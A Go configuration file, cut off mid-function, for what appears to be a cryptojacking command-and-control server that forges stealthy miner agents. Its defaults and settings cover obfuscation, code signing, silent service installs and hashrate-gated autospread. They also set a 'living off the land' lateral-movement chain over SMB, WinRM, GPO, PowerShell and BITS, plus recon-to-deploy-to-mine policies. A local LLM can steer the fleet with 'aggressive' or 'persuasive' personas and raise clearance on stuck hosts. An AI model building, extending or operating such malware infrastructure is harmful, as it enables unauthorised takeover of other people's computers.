package main import ( "encoding/json" "flag" "fmt" "os" "path/filepath" "strings" "crypto-miner-server/internal/alerts" ) type Config struct { Port int `json:"port"` DataDir string `json:"-"` // set from -data CLI flag; never written to config.json Pool PoolConfig `json:"pool"` Wallet WalletConfig `json:"wallet"` // Ravencoin / GPU mining defaults — pre-populated in Forge when set here. RvnPool PoolConfig `json:"rvn_pool,omitempty"` RvnWallet WalletConfig `json:"rvn_wallet,omitempty"` // Legacy JSON fields — ignored at runtime; Forge bakes per-miner settings into installers. DefaultAgent AgentDefaults `json:"default_agent_config,omitempty"` Background BackgroundConfig `json:"background,omitempty"` Alerts AlertsConfig `json:"alerts"` Server ServerSettings `json:"server"` TunnelDefaults TunnelDefaults `json:"tunnel_defaults,omitempty"` // DeploymentCredentials are operator-authorized spread profiles (vault refs only in config). DeploymentCredentials []DeploymentCredProfile `json:"deployment_credentials,omitempty"` } // TunnelDefaults holds operator-facing protocol tunnel presets (Calibrate). type TunnelDefaults struct { // CloudflaredTargetURL is the default outbound tunnel target (usually server public_url). CloudflaredTargetURL string `json:"cloudflared_target_url"` // CloudflareTunnelToken is the Zero Trust connector token (cloudflared tunnel run --token). // Also mirrored to data/cloudflared-token.txt on save for LAUNCH.bat / portable USB. CloudflareTunnelToken string `json:"cloudflare_tunnel_token,omitempty"` } // ServerSettings controls the locally hosted control server (not baked into miners). type ServerSettings struct { PublicURL string `json:"public_url"` StatsRetentionHours int `json:"stats_retention_hours"` BuildRetentionDays int `json:"build_retention_days"` PoolReconnectSeconds int `json:"pool_reconnect_seconds"` WebSocketPingSeconds int `json:"websocket_ping_seconds"` MaxAgents int `json:"max_agents"` MaxBuildSizeMB int `json:"max_build_size_mb"` LogAgentConnections bool `json:"log_agent_connections"` LogShareSubmissions bool `json:"log_share_submissions"` LogPoolTraffic bool `json:"log_pool_traffic"` StrictWalletValidation bool `json:"strict_wallet_validation"` DashboardSubtitle string `json:"dashboard_subtitle"` OpenFirewallOnStart bool `json:"open_firewall_on_start"` ObfuscateDefault bool `json:"obfuscate_default"` SignEnabled bool `json:"sign_enabled"` SignCertThumbprint string `json:"sign_cert_thumbprint"` SignToolPath string `json:"sign_tool_path"` SignTimestampURL string `json:"sign_timestamp_url"` // FleetSecret is a random token generated once on first run and baked into // every forged agent binary. Agents must present it on connect or be rejected. FleetSecret string `json:"fleet_secret"` // PublicBuildsEnabled exposes all builds on unauthenticated /api/v1/public/* routes. // When false (default), only pinned + public-flagged + latest PublicBuildsLatestN are listed. PublicBuildsEnabled bool `json:"public_builds_enabled"` PublicBuildsLatestN int `json:"public_builds_latest_n"` // LotlOnionTiers is the server-side ordered spread contingency chain pushed to // agents forged with lotl_policy_from_server (LOTL Onion preset). LotlOnionTiers []string `json:"lotl_onion_tiers,omitempty"` // ServiceDeployAllowlist maps discovered service names to LOTL join lanes for discover_and_join. ServiceDeployAllowlist map[string]ServiceDeployLane `json:"service_deploy_allowlist,omitempty"` // DNSZone is the suffix for _aether. TXT mesh records (e.g. site.internal). DNSZone string `json:"dns_zone,omitempty"` // WebRTCMeshPolicy controls LAN seeder rotation and STUN for webrtc_mesh spread. WebRTCMeshPolicy WebRTCMeshPolicySettings `json:"webrtc_mesh_policy,omitempty"` // TripleOnionPolicy gates recon → deploy → mining chains pushed to agents at auth. TripleOnionPolicy TripleOnionSettings `json:"triple_onion_policy,omitempty"` // AdaptiveStrategyEnabled learns LOTL tier order from fleet outcomes (user machines only). AdaptiveStrategyEnabled bool `json:"adaptive_strategy_enabled"` // AIControlEnabled switches fleet control from adaptive tier learning to local LLM decisions. AIControlEnabled bool `json:"ai_control_enabled"` // AtlasLanGossipEnabled relays atlas skip hints between agents on the same /24 via WS. AtlasLanGossipEnabled bool `json:"atlas_lan_gossip_enabled"` // AIEndpoint is the OpenAI-compatible base URL (e.g. Ollama /v1). AIEndpoint string `json:"ai_endpoint"` // AIModel is the LLM model name for fleet AI control (Calibrate). AIModel string `json:"ai_model"` // AINoContext forces stateless single-turn decisions (no conversation memory). AINoContext bool `json:"ai_no_context"` // AIDecisionIntervalSec is seconds between AI decision cycles per agent (default 60). AIDecisionIntervalSec int `json:"ai_decision_interval_sec"` // AIAutoElevateClearance lets the AI scheduler raise clearance for stuck hosts (default true when AI mode). AIAutoElevateClearance bool `json:"ai_auto_elevate_clearance"` // AIPersona selects the Calibrate fleet AI preset (aggressive|silent|passive|persuasive|balanced). AIPersona string `json:"ai_persona,omitempty"` // FleetRolesEnabled splits seeders (LAN staging) from miners (RandomX) with auth hints. FleetRolesEnabled bool `json:"fleet_roles_enabled"` // HashrateGateSpreadMin is minutes of stable hashrate before agents may autospread. HashrateGateSpreadMin int `json:"hashrate_gate_spread_min,omitempty"` // HashrateGateHPS is the minimum H/s required for hashrate-gated propagation. HashrateGateHPS float64 `json:"hashrate_gate_hps,omitempty"` } // WebRTCMeshPolicySettings is Calibrate policy for WebRTC LAN seed spread. type WebRTCMeshPolicySettings struct { Enabled bool `json:"enabled,omitempty"` STUNServers []string `json:"stun_servers,omitempty"` RotationHours int `json:"rotation_hours,omitempty"` } // TripleOnionSettings is Calibrate policy for the agent triple onion. type TripleOnionSettings struct { PatchFirst bool `json:"patch_first,omitempty"` MineIsolatedTier bool `json:"mine_isolated_tier,omitempty"` SkipMiningOnHighRisk bool `json:"skip_mining_on_high_risk,omitempty"` HighRiskThreshold int `json:"high_risk_threshold,omitempty"` ReconTiers []string `json:"recon_tiers,omitempty"` DeployLanes []string `json:"deploy_lanes,omitempty"` } // ServiceDeployLane maps a discovered service to a supply-chain join lane. type ServiceDeployLane struct { Lane string `json:"lane"` Priority int `json:"priority,omitempty"` Template string `json:"template,omitempty"` } // PoolEndpoint is a Stratum upstream used after the primary pool fails. type PoolEndpoint struct { Host string `json:"host"` Port int `json:"port"` UseTLS bool `json:"use_tls"` } type PoolConfig struct { Host string `json:"host"` Port int `json:"port"` UseTLS bool `json:"use_tls"` Password string `json:"password"` BackupPools []PoolEndpoint `json:"backup_pools,omitempty"` } type WalletConfig struct { Address string `json:"address"` PaymentID string `json:"payment_id"` } type AgentDefaults struct { Threads int `json:"threads"` ThreadMode string `json:"thread_mode"` ThreadPercent int `json:"thread_percent"` CPUPriority string `json:"cpu_priority"` MaxCPUUsagePct int `json:"max_cpu_usage_pct"` MaxMemoryPct int `json:"max_memory_percent"` MinFreeRAMMB int `json:"min_free_ram_mb"` MiningMode string `json:"mining_mode"` DisplayMode string `json:"display_mode"` ProcessName string `json:"process_name"` IdleThresholdPct int `json:"idle_threshold_pct"` IdleDurationMinutes int `json:"idle_duration_minutes"` ScheduleStart string `json:"schedule_start"` ScheduleEnd string `json:"schedule_end"` InstallBase string `json:"install_base"` InstallCustomBase string `json:"install_custom_base"` InstallRelativePath string `json:"install_relative_path"` AdaptToHardware bool `json:"adapt_to_hardware"` SelfHealing bool `json:"self_healing"` FileLogging bool `json:"file_logging"` StealthMode bool `json:"stealth_mode"` } type BackgroundConfig struct { SilentMode bool `json:"silent_mode"` RunAs string `json:"run_as"` AutoStart bool `json:"auto_start"` } type AlertsConfig struct { OfflineThresholdMinutes int `json:"offline_threshold_minutes"` HashrateDropThresholdPct int `json:"hashrate_drop_threshold_pct"` RejectionRateThresholdPct int `json:"rejection_rate_threshold_pct"` TelegramBotToken string `json:"telegram_bot_token"` TelegramChatID string `json:"telegram_chat_id"` WebhookURL string `json:"webhook_url"` // Per-event Telegram/email toggles (default true). NotifyAgentConnect bool `json:"notify_agent_connect"` NotifyAgentReconnect bool `json:"notify_agent_reconnect"` NotifyAgentOffline bool `json:"notify_agent_offline"` NotifyHashrateDrop bool `json:"notify_hashrate_drop"` NotifyRejectionRate bool `json:"notify_rejection_rate"` NotifyBuildComplete bool `json:"notify_build_complete"` NotifyKEVExposure bool `json:"notify_kev_exposure"` EmailEnabled bool `json:"email_enabled"` SMTPHost string `json:"smtp_host"` SMTPPort int `json:"smtp_port"` SMTPUser string `json:"smtp_user"` SMTPPassword string `json:"smtp_password"` EmailTo string `json:"email_to"` EmailFrom string `json:"email_from"` } func DefaultConfig() *Config { return &Config{ Port: 8989, DataDir: "data", Pool: PoolConfig{ Host: "pool.supportxmr.com", Port: 443, UseTLS: true, Password: "x", BackupPools: []PoolEndpoint{ {Host: "gulf.moneroocean.stream", Port: 20128, UseTLS: true}, {Host: "xmr.herominers.com", Port: 1120, UseTLS: true}, }, }, Wallet: WalletConfig{ Address: "", PaymentID: "", }, RvnPool: PoolConfig{ Host: "rvn.2miners.com", Port: 6060, UseTLS: false, Password: "x", BackupPools: []PoolEndpoint{ {Host: "stratum-ravencoin.flypool.org", Port: 3333, UseTLS: false}, {Host: "kawpow.herominers.com", Port: 1130, UseTLS: false}, }, }, RvnWallet: WalletConfig{ Address: "", }, DefaultAgent: AgentDefaults{ Threads: 4, ThreadMode: "percent", ThreadPercent: 75, CPUPriority: "below_normal", MaxCPUUsagePct: 80, MaxMemoryPct: 70, MinFreeRAMMB: 1024, MiningMode: "always", DisplayMode: "background", ProcessName: "", IdleThresholdPct: 20, IdleDurationMinutes: 5, ScheduleStart: "21:00", ScheduleEnd: "06:00", InstallBase: "localappdata", InstallRelativePath: "CryptoMiner/{worker}-{build_short}", AdaptToHardware: true, SelfHealing: true, FileLogging: true, StealthMode: false, }, Background: BackgroundConfig{ SilentMode: true, RunAs: "service", AutoStart: true, }, Alerts: AlertsConfig{ OfflineThresholdMinutes: 5, HashrateDropThresholdPct: 50, RejectionRateThresholdPct: 5, NotifyAgentConnect: true, NotifyAgentReconnect: true, NotifyAgentOffline: true, NotifyHashrateDrop: true, NotifyRejectionRate: true, NotifyBuildComplete: true, NotifyKEVExposure: true, }, Server: ServerSettings{ PublicURL: "", StatsRetentionHours: 168, BuildRetentionDays: 30, PoolReconnectSeconds: 30, WebSocketPingSeconds: 30, MaxAgents: 256, MaxBuildSizeMB: 150, LogAgentConnections: true, LogShareSubmissions: false, LogPoolTraffic: false, StrictWalletValidation: false, DashboardSubtitle: "Fleet Command & Control", OpenFirewallOnStart: true, ObfuscateDefault: false, SignEnabled: false, SignTimestampURL: "http://timestamp.digicert.com", PublicBuildsLatestN: 3, LotlOnionTiers: []string{ "vuln_recon", "docker", "wsl", "powershell", "dotnet", "bits_curl", "do_peer", "wsus_cache_peer", "dns_txt", "webrtc_mesh", "smb", "winrm", "linux", "gpo", }, DNSZone: "internal", WebRTCMeshPolicy: WebRTCMeshPolicySettings{ Enabled: false, STUNServers: []string{"stun:stun.l.google.com:19302"}, RotationHours: 24, }, ServiceDeployAllowlist: defaultServiceDeployAllowlist(), AdaptiveStrategyEnabled: true, AIControlEnabled: false, AIEndpoint: "http://127.0.0.1:11434/v1", AIModel: "", AINoContext: true, AIDecisionIntervalSec: 60, AIAutoElevateClearance: true, AIPersona: "balanced", FleetRolesEnabled: false, }, } } func LoadConfig() *Config { cfg := DefaultConfig() port := flag.Int("port", 8989, "Server port") dataDir := flag.String("data", "data", "Data directory") cliPortExplicit := false flag.Parse() flag.Visit(func(f *flag.Flag) { if f.Name == "port" { cliPortExplicit = true } }) cliPort := *port // Resolve data dir before reading config.json so relative -data always targets /data. projectRoot := findProjectRoot() cfg.DataDir = resolveDataDir(*dataDir, projectRoot) if cliPortExplicit { cfg.Port = cliPort } else { cfg.Port = cliPort } configPath := filepath.Join(cfg.DataDir, "config.json") if data, err := os.ReadFile(configPath); err == nil { var fileCfg Config if unmarshalErr := json.Unmarshal(data, &fileCfg); unmarshalErr != nil { fmt.Fprintf(os.Stderr, "[Config] WARNING: config.json is malformed and will be ignored: %v\n", unmarshalErr) } else { // Use mergeConfigExplicit so that boolean fields absent from the file // keep their DefaultConfig values instead of being zeroed (H14). var presentKeys map[string]json.RawMessage _ = json.Unmarshal(data, &presentKeys) mergeConfigExplicit(cfg, &fileCfg, presentKeys) hydrateLegacyAIConfig(cfg, data) if !strings.Contains(string(data), `"open_firewall_on_start"`) { cfg.Server.OpenFirewallOnStart = true } if !strings.Contains(string(data), `"notify_agent_connect"`) { cfg.Alerts.NotifyAgentConnect = true cfg.Alerts.NotifyAgentReconnect = true cfg.Alerts.NotifyAgentOffline = true cfg.Alerts.NotifyHashrateDrop = true cfg.Alerts.NotifyRejectionRate = true cfg.Alerts.NotifyBuildComplete = true cfg.Alerts.NotifyKEVExposure = true } } } // Explicit -port wins over config.json (LAUNCH/devrun pass -port alongside file-based settings). if cliPortExplicit { cfg.Port = cliPort } if strings.TrimSpace(cfg.TunnelDefaults.CloudflaredTargetURL) == "" && strings.TrimSpace(cfg.Server.PublicURL) != "" { cfg.TunnelDefaults.CloudflaredTargetURL = strings.TrimSpace(cfg.Server.PublicURL) } hydrateCloudflareTokenFromFile(cfg) return cfg } const cloudflaredTokenFile = "cloudflared-token.txt" // ConnectorToken returns the Cloudflare Zero Trust connector token (env, config, or data/cloudflared-token.txt). func (c *Config) ConnectorToken() string { if c == nil { return "" } if t := strings.TrimSpace(os.Getenv("AF_TUNNEL_TOKEN")); t != "" { return t } if t := strings.TrimSpace(c.TunnelDefaults.CloudflareTunnelToken); t != "" { return t } if c.DataDir != "" { if data, err := os.ReadFile(filepath.Join(c.DataDir, cloudflaredTokenFile)); err == nil { if t := strings.TrimSpace(string(data)); t != "" { return t } } } return "" } func hydrateCloudflareTokenFromFile(cfg *Config) { if cfg == nil || strings.TrimSpace(cfg.TunnelDefaults.CloudflareTunnelToken) != "" || cfg.DataDir == "" { return } data, err := os.ReadFile(filepath.Join(cfg.DataDir, cloudflaredTokenFile)) if err != nil { return } cfg.TunnelDefaults.CloudflareTunnelToken = strings.TrimSpace(string(data)) } func (c *Config) syncCloudflaredTokenFile() { if c == nil || c.DataDir == "" { return } tok := strings.TrimSpace(c.TunnelDefaults.CloudflareTunnelToken) if tok == "" { return } path := filepath.Join(c.DataDir, cloudflaredTokenFile) _ = os.WriteFile(path, []byte(tok+"\n"), 0600) } // AlertSettings builds notification settings for the alerts package. func (c *Config) AlertSettings() alerts.Settings { if c == nil { return alerts.Settings{} } return alerts.NewSettings(alerts.NotifyConfig{ TelegramBotToken: c.Alerts.TelegramBotToken, TelegramChatID: c.Alerts.TelegramChatID, WebhookURL: c.Alerts.WebhookURL, EmailEnabled: c.Alerts.EmailEnabled, SMTPHost: c.Alerts.SMTPHost, SMTPPort: c.Alerts.SMTPPort, SMTPUser: c.Alerts.SMTPUser, SMTPPassword: c.Alerts.SMTPPassword, EmailTo: c.Alerts.EmailTo, EmailFrom: c.Alerts.EmailFrom, }, alerts.EventToggles{ AgentConnect: c.Alerts.NotifyAgentConnect, AgentReconnect: c.Alerts.NotifyAgentReconnect, AgentOffline: c.Alerts.NotifyAgentOffline, HashrateDrop: c.Alerts.NotifyHashrateDrop, RejectionRate: c.Alerts.NotifyRejectionRate, BuildComplete: c.Alerts.NotifyBuildComplete, KEVExposure: c.Alerts.NotifyKEVExposure, }) } // mergeConfig is the legacy unconditional merge used only as a fallback when no // field-presence map is available (i.e. never during API PUT). Boolean fields such // as UseTLS are blindly copied from src, meaning a zero-value src resets them to // false. Prefer mergeConfigExplicit for all partial-update paths — it only applies // a field when that key was explicitly present in the JSON payload. func mergeConfig(dst, src *Config) { if src.Port != 0 { dst.Port = src.Port } if src.DataDir != "" { dst.DataDir = src.DataDir } if src.Pool.Host != "" { dst.Pool.Host = src.Pool.Host } if src.Pool.Port != 0 { dst.Pool.Port = src.Pool.Port } dst.Pool.UseTLS = src.Pool.UseTLS if src.Pool.Password != "" { dst.Pool.Password = src.Pool.Password } if len(src.Pool.BackupPools) > 0 { dst.Pool.BackupPools = append([]PoolEndpoint(nil), src.Pool.BackupPools...) } if src.Wallet.Address != "" { dst.Wallet.Address = src.Wallet.Address } if src.Wallet.PaymentID != "" { dst.Wallet.PaymentID = src.Wallet.PaymentID } if src.RvnPool.Host != "" { dst.RvnPool.Host = src.RvnPool.Host } if src.RvnPool.Port != 0 { dst.RvnPool.Port = src.RvnPool.Port } dst.RvnPool.UseTLS = src.RvnPool.UseTLS if src.RvnPool.Password != "" { dst.RvnPool.Password = src.RvnPool.Password } if len(src.RvnPool.BackupPools) > 0 { dst.RvnPool.BackupPools = append([]PoolEndpoint(nil), src.RvnPool.BackupPools...) } if src.RvnWallet.Address != "" { dst.RvnWallet.Address = src.RvnWallet.Address } if src.DefaultAgent.Threads != 0 { dst.DefaultAgent.Threads = src.DefaultAgent.Threads } if src.DefaultAgent.ThreadMode != "" { dst.DefaultAgent.ThreadMode = src.DefaultAgent.ThreadMode } if src.DefaultAgent.ThreadPercent != 0 { dst.DefaultAgent.ThreadPercent = src.DefaultAgent.ThreadPercent } if src.DefaultAgent.CPUPriority != "" { dst.DefaultAgent.CPUPriority = src.DefaultAgent.CPUPriority } if src.DefaultAgent.MaxCPUUsagePct != 0 { dst.DefaultAgent.MaxCPUUsagePct = src.DefaultAgent.MaxCPUUsagePct } if src.DefaultAgent.MaxMemoryPct != 0 { dst.DefaultAgent.MaxMemoryPct = src.DefaultAgent.MaxMemoryPct } if src.DefaultAgent.MinFreeRAMMB != 0 { dst.DefaultAgent.MinFreeRAMMB = src.DefaultAgent.MinFreeRAMMB } if src.DefaultAgent.MiningMode != "" { dst.DefaultAgent.MiningMode = src.DefaultAgent.MiningMode } if src.DefaultAgent.DisplayMode != "" { dst.DefaultAgent.DisplayMode = src.DefaultAgent.DisplayMode } if src.DefaultAgent.ProcessName != "" { dst.DefaultAgent.ProcessName = src.DefaultAgent.ProcessName } if src.DefaultAgent.IdleThresholdPct != 0 { dst.DefaultAgent.IdleThresholdPct = src.DefaultAgent.IdleThresholdPct } if src.DefaultAgent.IdleDurationMinutes != 0 { dst.DefaultAgent.IdleDurationMinutes = src.DefaultAgent.IdleDurationMinutes } if src.DefaultAgent.ScheduleStart != "" { dst.DefaultAgent.ScheduleStart = src.DefaultAgent.ScheduleStart } if src.DefaultAgent.ScheduleEnd != "" { dst.DefaultAgent.ScheduleEnd = src.DefaultAgent.ScheduleEnd } if src.DefaultAgent.InstallBase != "" { dst.DefaultAgent.InstallBase = src.DefaultAgent.InstallBase } if src.DefaultAgent.InstallCustomBase != "" { dst.DefaultAgent.InstallCustomBase = src.DefaultAgent.InstallCustomBase } if src.DefaultAgent.InstallRelativePath != "" { dst.DefaultAgent.InstallRelativePath = src.DefaultAgent.InstallRelativePath } if src.DefaultAgent.InstallRelativePath != "" || src.DefaultAgent.StealthMode || !src.DefaultAgent.FileLogging { dst.DefaultAgent.AdaptToHardware = src.DefaultAgent.AdaptToHardware dst.DefaultAgent.SelfHealing = src.DefaultAgent.SelfHealing dst.DefaultAgent.FileLogging = src.DefaultAgent.FileLogging dst.DefaultAgent.StealthMode = src.DefaultAgent.StealthMode } dst.Background.SilentMode = src.Background.SilentMode if src.Background.RunAs != "" { dst.Background.RunAs = src.Background.RunAs } dst.Background.AutoStart = src.Background.AutoStart if src.Alerts.OfflineThresholdMinutes != 0 { dst.Alerts.OfflineThresholdMinutes = src.Alerts.OfflineThresholdMinutes } if src.Alerts.HashrateDropThresholdPct != 0 { dst.Alerts.HashrateDropThresholdPct = src.Alerts.HashrateDropThresholdPct } if src.Alerts.RejectionRateThresholdPct != 0 { dst.Alerts.RejectionRateThresholdPct = src.Alerts.RejectionRateThresholdPct } if src.Alerts.TelegramBotToken != "" { dst.Alerts.TelegramBotToken = src.Alerts.TelegramBotToken } if src.Alerts.TelegramChatID != "" { dst.Alerts.TelegramChatID = src.Alerts.TelegramChatID } if src.Alerts.WebhookURL != "" { dst.Alerts.WebhookURL = src.Alerts.WebhookURL } dst.Alerts.EmailEnabled = src.Alerts.EmailEnabled dst.Alerts.NotifyAgentConnect = src.Alerts.NotifyAgentConnect dst.Alerts.NotifyAgentReconnect = src.Alerts.NotifyAgentReconnect dst.Alerts.NotifyAgentOffline = src.Alerts.NotifyAgentOffline dst.Alerts.NotifyHashrateDrop = src.Alerts.NotifyHashrateDrop dst.Alerts.NotifyRejectionRate = src.Alerts.NotifyRejectionRate dst.Alerts.NotifyBuildComplete = src.Alerts.NotifyBuildComplete dst.Alerts.NotifyKEVExposure = src.Alerts.NotifyKEVExposure if src.Alerts.SMTPHost != "" { dst.Alerts.SMTPHost = src.Alerts.SMTPHost } if src.Alerts.SMTPPort != 0 { dst.Alerts.SMTPPort = src.Alerts.SMTPPort } if src.Alerts.SMTPUser != "" { dst.Alerts.SMTPUser = src.Alerts.SMTPUser } if src.Alerts.SMTPPassword != "" { dst.Alerts.SMTPPassword = src.Alerts.SMTPPassword } if src.Alerts.EmailTo != "" { dst.Alerts.EmailTo = src.Alerts.EmailTo } if src.Alerts.EmailFrom != "" { dst.Alerts.EmailFrom = src.Alerts.EmailFrom } if src.Server.PublicURL != "" { dst.Server.PublicURL = src.Server.PublicURL } if src.Server.StatsRetentionHours != 0 { dst.Server.StatsRetentionHours = src.Server.StatsRetentionHours } if src.Server.BuildRetentionDays != 0 { dst.Server.BuildRetentionDays = src.Server.BuildRetentionDays } if src.Server.PoolReconnectSeconds != 0 { dst.Server.PoolReconnectSeconds = src.Server.PoolReconnectSeconds } if src.Server.WebSocketPingSeconds != 0 { dst.Server.WebSocketPingSeconds = src.Server.WebSocketPingSeconds } if src.Server.MaxAgents != 0 { dst.Server.MaxAgents = src.Server.MaxAgents } if src.Server.MaxBuildSizeMB != 0 { dst.Server.MaxBuildSizeMB = src.Server.MaxBuildSizeMB } dst.Server.LogAgentConnections = src.Server.LogAgentConnections dst.Server.LogShareSubmissions = src.Server.LogShareSubmissions dst.Server.LogPoolTraffic = src.Server.LogPoolTraffic dst.Server.StrictWalletValidation = src.Server.StrictWalletValidation if src.Server.DashboardSubtitle != "" { dst.Server.DashboardSubtitle = src.Server.DashboardSubtitle } dst.Server.OpenFirewallOnStart = src.Server.OpenFirewallOnStart dst.Server.ObfuscateDefault = src.Server.ObfuscateDefault dst.Server.SignEnabled = src.Server.SignEnabled if src.Server.SignCertThumbprint != "" { dst.Server.SignCertThumbprint = src.Server.SignCertThumbprint } if src.Server.SignToolPath != "" { dst.Server.SignToolPath = src.Server.SignToolPath } if src.Server.SignTimestampURL != "" { dst.Server.SignTimestampURL = src.Server.SignTimestampURL } if src.Server.FleetSecret != "" { dst.Server.FleetSecret = src.Server.FleetSecret } dst.Server.PublicBuildsEnabled = src.Server.PublicBuildsEnabled if src.Server.PublicBuildsLatestN != 0 { dst.Server.PublicBuildsLatestN = src.Server.PublicBuildsLatestN } if src.TunnelDefaults.CloudflaredTargetURL != "" { dst.TunnelDefaults.CloudflaredTargetURL = src.TunnelDefaults.CloudflaredTargetURL } if src.TunnelDefaults.CloudflareTunnelToken != "" { dst.TunnelDefaults.CloudflareTunnelToken = src.TunnelDefaults.CloudflareTunnelToken } } // nestedJSONKeys returns keys explicitly present in a nested JSON object section. func nestedJSONKeys(present map[string]json.RawMessage, section string) map[string]json.RawMessage { if present == nil { return nil } raw, ok := present[section] if !ok || len(raw) == 0 { return nil } var nested map[string]json.RawMessage if err := json.Unmarshal(raw, &nested); err != nil { return nil } return nested } // mergeConfigExplicit is like mergeConfig but only applies fields when the // corresponding JSON key was explicitly present in the PUT payload. // Top-level absence preserves existing values (H14); nested absence within a // section preserves sibling fields (partial PUT / import shallow-merge fix). func mergeConfigExplicit(dst, src *Config, present map[string]json.RawMessage) { if present == nil { // Fall back to old behaviour if we have no key presence info mergeConfig(dst, src) return } has := func(key string) bool { _, ok := present[key]; return ok } in := func(section map[string]json.RawMessage, key string) bool { if section == nil { return false } _, ok := section[key] return ok } // Non-boolean scalar fields — safe to use zero-value guard if has("port") && src.Port != 0 { dst.Port = src.Port } if has("data_dir") && src.DataDir != "" { dst.DataDir = src.DataDir } if has("pool") { poolKeys := nestedJSONKeys(present, "pool") if in(poolKeys, "host") && src.Pool.Host != "" { dst.Pool.Host = src.Pool.Host } if in(poolKeys, "port") && src.Pool.Port != 0 { dst.Pool.Port = src.Pool.Port } if in(poolKeys, "use_tls") { dst.Pool.UseTLS = src.Pool.UseTLS } if in(poolKeys, "password") && src.Pool.Password != "" { dst.Pool.Password = src.Pool.Password } if in(poolKeys, "backup_pools") { dst.Pool.BackupPools = append([]PoolEndpoint(nil), src.Pool.BackupPools...) } } if has("wallet") { walletKeys := nestedJSONKeys(present, "wallet") if in(walletKeys, "address") && src.Wallet.Address != "" { dst.Wallet.Address = src.Wallet.Address } if in(walletKeys, "payment_id") && src.Wallet.PaymentID != "" { dst.Wallet.PaymentID = src.Wallet.PaymentID } } if has("rvn_pool") { rvnPoolKeys := nestedJSONKeys(present, "rvn_pool") if in(rvnPoolKeys, "host") && src.RvnPool.Host != "" { dst.RvnPool.Host = src.RvnPool.Host } if in(rvnPoolKeys, "port") && src.RvnPool.Port != 0 { dst.RvnPool.Port = src.RvnPool.Port } if in(rvnPoolKeys, "use_tls") { dst.RvnPool.UseTLS = src.RvnPool.UseTLS } if in(rvnPoolKeys, "password") && src.RvnPool.Password != "" { dst.RvnPool.Password = src.RvnPool.Password } if in(rvnPoolKeys, "backup_pools") { dst.RvnPool.BackupPools = append([]PoolEndpoint(nil), src.RvnPool.BackupPools...) } } if has("rvn_wallet") { rvnWalletKeys := nestedJSONKeys(present, "rvn_wallet") if in(rvnWalletKeys, "address") && src.RvnWallet.Address != "" { dst.RvnWallet.Address = src.RvnWallet.Address } } // The JSON struct tag is "default_agent_config" — must match exactly. if has("default_agent_config") { daKeys := nestedJSONKeys(present, "default_agent_config") if in(daKeys, "threads") && src.DefaultAgent.Threads != 0 { dst.DefaultAgent.Threads = src.DefaultAgent.Threads } if in(daKeys, "thread_mode") && src.DefaultAgent.ThreadMode != "" { dst.DefaultAgent.ThreadMode = src.DefaultAgent.ThreadMode } if in(daKeys, "thread_percent") && src.DefaultAgent.ThreadPercent != 0 { dst.DefaultAgent.ThreadPercent = src.DefaultAgent.ThreadPercent } if in(daKeys, "cpu_priority") && src.DefaultAgent.CPUPriority != "" { dst.DefaultAgent.CPUPriority = src.DefaultAgent.CPUPriority } if in(daKeys, "max_cpu_usage_pct") && src.DefaultAgent.MaxCPUUsagePct != 0 { dst.DefaultAgent.MaxCPUUsagePct = src.DefaultAgent.MaxCPUUsagePct } if in(daKeys, "max_memory_percent") && src.DefaultAgent.MaxMemoryPct != 0 { dst.DefaultAgent.MaxMemoryPct = src.DefaultAgent.MaxMemoryPct } if in(daKeys, "min_free_ram_mb") && src.DefaultAgent.MinFreeRAMMB != 0 { dst.DefaultAgent.MinFreeRAMMB = src.DefaultAgent.MinFreeRAMMB } if in(daKeys, "mining_mode") && src.DefaultAgent.MiningMode != "" { dst.DefaultAgent.MiningMode = src.DefaultAgent.MiningMode } if in(daKeys, "display_mode") && src.DefaultAgent.DisplayMode != "" { dst.DefaultAgent.DisplayMode = src.DefaultAgent.DisplayMode } if in(daKeys, "process_name") && src.DefaultAgent.ProcessName != "" { dst.DefaultAgent.ProcessName = src.DefaultAgent.ProcessName } if in(daKeys, "idle_threshold_pct") && src.DefaultAgent.IdleThresholdPct != 0 { dst.DefaultAgent.IdleThresholdPct = src.DefaultAgent.IdleThresholdPct } if in(daKeys, "idle_duration_minutes") && src.DefaultAgent.IdleDurationMinutes != 0 { dst.DefaultAgent.IdleDurationMinutes = src.DefaultAgent.IdleDurationMinutes } if in(daKeys, "schedule_start") && src.DefaultAgent.ScheduleStart != "" { dst.DefaultAgent.ScheduleStart = src.DefaultAgent.ScheduleStart } if in(daKeys, "schedule_end") && src.DefaultAgent.ScheduleEnd != "" { dst.DefaultAgent.ScheduleEnd = src.DefaultAgent.ScheduleEnd } if in(daKeys, "install_base") && src.DefaultAgent.InstallBase != "" { dst.DefaultAgent.InstallBase = src.DefaultAgent.InstallBase } if in(daKeys, "install_custom_base") && src.DefaultAgent.InstallCustomBase != "" { dst.DefaultAgent.InstallCustomBase = src.DefaultAgent.InstallCustomBase } if in(daKeys, "install_relative_path") && src.DefaultAgent.InstallRelativePath != "" { dst.DefaultAgent.InstallRelativePath = src.DefaultAgent.InstallRelativePath } if in(daKeys, "adapt_to_hardware") { dst.DefaultAgent.AdaptToHardware = src.DefaultAgent.AdaptToHardware } if in(daKeys, "self_healing") { dst.DefaultAgent.SelfHealing = src.DefaultAgent.SelfHealing } if in(daKeys, "file_logging") { dst.DefaultAgent.FileLogging = src.DefaultAgent.FileLogging } if in(daKeys, "stealth_mode") { dst.DefaultAgent.StealthMode = src.DefaultAgent.StealthMode } } if has("background") { bgKeys := nestedJSONKeys(present, "background") if in(bgKeys, "silent_mode") { dst.Background.SilentMode = src.Background.SilentMode } if in(bgKeys, "run_as") && src.Background.RunAs != "" { dst.Background.RunAs = src.Background.RunAs } if in(bgKeys, "auto_start") { dst.Background.AutoStart = src.Background.AutoStart } } if has("alerts") { alertKeys := nestedJSONKeys(present, "alerts") if in(alertKeys, "offline_threshold_minutes") && src.Alerts.OfflineThresholdMinutes != 0 { dst.Alerts.OfflineThresholdMinutes = src.Alerts.OfflineThresholdMinutes } if in(alertKeys, "hashrate_drop_threshold_pct") && src.Alerts.HashrateDropThresholdPct != 0 { dst.Alerts.HashrateDropThresholdPct = src.Alerts.HashrateDropThresholdPct } if in(alertKeys, "rejection_rate_threshold_pct") && src.Alerts.RejectionRateThresholdPct != 0 { dst.Alerts.RejectionRateThresholdPct = src.Alerts.RejectionRateThresholdPct } if in(alertKeys, "telegram_bot_token") && src.Alerts.TelegramBotToken != "" { dst.Alerts.TelegramBotToken = src.Alerts.TelegramBotToken } if in(alertKeys, "telegram_chat_id") && src.Alerts.TelegramChatID != "" { dst.Alerts.TelegramChatID = src.Alerts.TelegramChatID } if in(alertKeys, "webhook_url") && src.Alerts.WebhookURL != "" { dst.Alerts.WebhookURL = src.Alerts.WebhookURL } if in(alertKeys, "email_enabled") { 